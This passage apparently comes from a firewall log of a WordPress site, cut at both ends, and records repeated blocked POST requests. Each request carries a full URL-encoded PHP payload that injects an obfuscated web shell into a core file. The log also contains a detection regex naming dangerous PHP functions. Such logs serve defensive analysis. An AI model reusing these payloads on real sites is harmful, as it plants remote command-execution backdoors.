t%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:6197\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nul=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:54","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:6197\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nkW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:56","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:6220\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520